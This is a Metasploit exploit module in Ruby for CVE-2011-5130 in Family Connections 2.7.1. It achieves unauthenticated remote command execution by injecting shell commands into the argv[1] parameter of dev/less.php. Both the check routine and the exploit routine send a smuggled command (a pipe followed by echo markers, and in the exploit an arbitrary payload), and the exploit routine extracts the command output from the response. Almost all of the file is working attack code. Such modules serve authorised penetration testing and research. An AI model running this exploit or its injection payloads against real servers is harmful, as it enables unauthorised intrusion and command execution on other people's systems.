##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           => 'Family Connections less.php Remote Command Execution',
      'Description'    => %q{
        This module exploits an arbitrary command execution vulnerability in
        Family Connections 2.7.1. It's in the dev/less.php script and is due
        to an insecure use of system().  Authentication isn't required to exploit
        the vulnerability but register_globals must be set to On.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'mr_me <steventhomasseeley[at]gmail.com>', # Vulnerability discovery and exploit
          'juan vazquez'  # Metasploit module
        ],
      'References'     =>
        [
          [ 'CVE', '2011-5130' ],
          [ 'OSVDB', '77492' ],
          [ 'URL', 'https://www.familycms.com/blog/2011/11/security-vulnerability-fcms-2-5-2-7-1/' ],
          [ 'URL', 'http://sourceforge.net/apps/trac/fam-connections/ticket/407' ],
          [ 'URL', 'http://rwx.biz.nf/advisories/fc_cms_rce_adv.html' ],
          [ 'EDB', '18198' ]
        ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'Compat'     =>
          {
            'PayloadType'  => 'cmd',
            'RequiredCmd'  => 'generic telnet perl ruby python',
          }
        },
      'Platform'       => %w{ linux unix },
      'Arch'           => ARCH_CMD,
      'Targets'        => [['Automatic',{}]],
      'DisclosureDate' => '2011-11-29',
      'DefaultTarget'  => 0
    ))

    register_options(
      [
        OptString.new('URI', [true, "The path to the Family Connections main site", "/fcms/"]),
      ])
  end

  def check
    uri = normalize_uri(datastore['URI'])
    uri += (normalize_uri(datastore['URI'])[-1, 1] == "/") ? "dev/less.php" : "/dev/less.php"

    mark = Rex::Text.rand_text_alpha(rand(5) + 5)

    res = send_request_cgi({
      'uri'       => uri,
      'vars_get'  => { 'argv[1]' => "|echo #{mark};#" }
    }, 25)

    if res and res.code == 200 and res.body =~ /#{mark}/
      return Exploit::CheckCode::Vulnerable
    end

    return Exploit::CheckCode::Safe
  end

  def exploit
    uri = normalize_uri(datastore['URI'])
    uri += (normalize_uri(datastore['URI'])[-1, 1] == "/") ? "dev/less.php" : "/dev/less.php"

    start_mark = Rex::Text.rand_text_alpha(rand(5) + 5)
    end_mark  = Rex::Text.rand_text_alpha(rand(5) + 5)
    custom_payload = "|echo #{start_mark};#{payload.encoded};echo #{end_mark};#"

    res = send_request_cgi({
      'uri'       => uri,
      'vars_get'  => { 'argv[1]' => custom_payload }
    }, 25)

    if res and res.code == 200 and res.body =~ /#{start_mark}/
      # Prints output when using cmd/unix/generic
      result = res.body.split(/#{start_mark}/)[1].split(/#{end_mark}/)[0]
      if not result.strip.empty?
        print_status("Result of the command:\n#{result}")
      end
    end
  end
end
